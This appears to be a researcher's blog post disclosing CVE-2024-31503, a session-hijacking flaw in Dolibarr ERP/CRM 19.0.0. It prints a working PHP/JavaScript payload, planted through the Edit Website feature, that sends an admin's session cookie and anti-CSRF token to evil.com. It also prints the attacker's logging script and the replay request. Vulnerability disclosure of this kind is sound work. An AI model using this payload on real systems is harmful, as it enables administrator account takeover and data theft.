CVE-2024-31503: Exploiting Broken Access Control in Dolibarr ERP/CRM
Discovering CVE-2024-31503: Exploiting Broken Access Control in Dolibarr ERP/CRM
Every vulnerability discovery has its story, and this one is no exception. It all began when my colleague, Arthur Valverde, and I decided to explore Dolibarr ERP/CRM, an open-source CRM/ERP platform that caught our attention. Our goal? To find a critical flaw that had gone unnoticed. What we found was a vulnerability that could allow an attacker to hijack an administrator's session, leading to unauthorized access and control over the application.
The Discovery: Session Hijacking via Weak Access Control
Arthur and I started by examining the session management of Dolibarr, and we quickly found an intriguing area to investigate: the Edit Website functionality. This feature seemed like a potential gateway for an attacker to inject code. But we needed to dig deeper to see if it could be leveraged to steal a user's session.
Our initial tests were simple. We tried altering the session cookie values and sending requests with manipulated anti-CSRF tokens. No luck at first. But as we continued, we noticed that the application didn't thoroughly validate user identities when accessing the session cookie and anti-CSRF token. This could be a huge problem—one that could allow a user with access to the website creation feature to steal another user's session data.
The Environment
To test our theory, we set up a Ubuntu Server 22.04 environment running Dolibarr CRM/ERP 19.0.0. Our goal was to manipulate the session handling of the application to gain access to an admin account without the original admin credentials.
Steps to Exploit: A Journey of Trial and Error
Step 1: Crafting a Malicious Website
Arthur and I began by using the Edit Website functionality in Dolibarr. We imported one of the available templates and started editing it to include some malicious PHP and JavaScript code that could capture a session cookie and anti-CSRF token. It looked something like this:
<?php
$cookieValue = isset($_COOKIE['DOLSESSID_23c741129e19eb2096a00ad0c307861e20558dbb']) ? $_COOKIE['DOLSESSID_23c741129e19eb2096a00ad0c307861e20558dbb'] : "";
?>
<section id="mysection1" contenteditable="true">
<main>
<script>
var csrf_token = "";
fetch('http://34.229.183.127')
.then(response => response.text())
.then(html => {
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
const metaTagCurrentToken = doc.querySelector('meta[name="anti-csrf-currenttoken"]');
if (metaTagCurrentToken) {
csrf_token = metaTagCurrentToken.getAttribute('content');
var cookie = "<?php echo $cookieValue; ?>";
const params = {
"admin-token": csrf_token,
"admin-cookie": cookie,
};
fetch('https://evil.com/steal.php', {
method: "POST",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: new URLSearchParams(params),
credentials: 'include',
});
}
})
.catch(error => {
console.error('Error:', error);
});
</script>
</main>
</section>
This code attempts to extract the session cookie and anti-CSRF token from an unsuspecting administrator visiting the edited website. Once retrieved, it sends this sensitive data to a malicious server.
Step 2: Setting Up the Attacker's Server
While I handled the payload, Arthur set up a server to receive the stolen session data. The server hosted an endpoint /steal.php to log the stolen data:
<?php
header("Access-Control-Allow-Origin: http://34.229.183.127");
header("Access-Control-Allow-Credentials: true");
$token = isset($_POST['admin-token']) ? $_POST['admin-token'] : "";
$cookieValue = isset($_POST['admin-cookie']) ? $_POST['admin-cookie'] : "";
$file = fopen("logs.txt", "a");
if ($file) {
fputs($file, "Token: ".$token."\t");
fputs($file, "Cookie: ".$cookieValue."\n");
fclose($file);
} else {
echo "Error opening file.";
}
?>
This script captures the stolen anti-CSRF token and session cookie and saves them into a logs.txt file on the attacker's server.
Step 3: Waiting for the Admin to Fall for the Trap
With the server ready, we waited for the moment when an administrator would access the compromised page. When they did, our script worked as intended, sending the admin's session cookie and anti-CSRF token directly to our server.
Step 4: Using the Stolen Credentials
Now came the critical step—session hijacking. Using the stolen session ID and anti-CSRF token, we crafted a request to impersonate the administrator. Here's the POST request we sent:
POST /index.php?mainmenu=home HTTP/1.1
Host: 34.229.183.127
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Cookie: DOLSESSID_23c741129e19eb2096a00ad0c307861e20558dbb=<stolen-cookie>
token=<stolen-token>&actionlogin=login&loginfunction=loginfunction&username=&password=
The server responded with a 302 Found status, redirecting us to the admin panel. It worked! We had successfully hijacked the admin's session without needing their actual login credentials.
Lessons Learned: Collaboration and Persistence
This vulnerability taught Arthur and me the value of persistence and collaboration. The process was far from smooth—we faced countless failed attempts and dead ends. But by working together and analyzing every aspect of the application's session management, we uncovered a critical flaw.
Our findings demonstrated that Dolibarr's session management and anti-CSRF mechanisms weren't adequately verifying user identity. With the CVE-2024-XXXXX report submitted, the Dolibarr team quickly patched the vulnerability. It was a reminder that even the smallest oversight can become a severe security risk.
Impact: The Risks of Session Hijacking
The primary risk of this vulnerability is that an attacker with access to a stolen session cookie and anti-CSRF token can impersonate an administrator. This means they could perform any action under the admin's account, from modifying user data to changing application settings.
To prevent such vulnerabilities, it's crucial for web applications to:
- Ensure that session cookies are tied to specific users and can't be used by others.
- Properly validate anti-CSRF tokens and ensure that they are user-specific.
- Implement stringent access control measures to limit exposure of session cookies.
For a complete breakdown of this vulnerability and how it was patched, check out the full CVE report here.
Happy hunting, and stay safe out there!
Comments Reply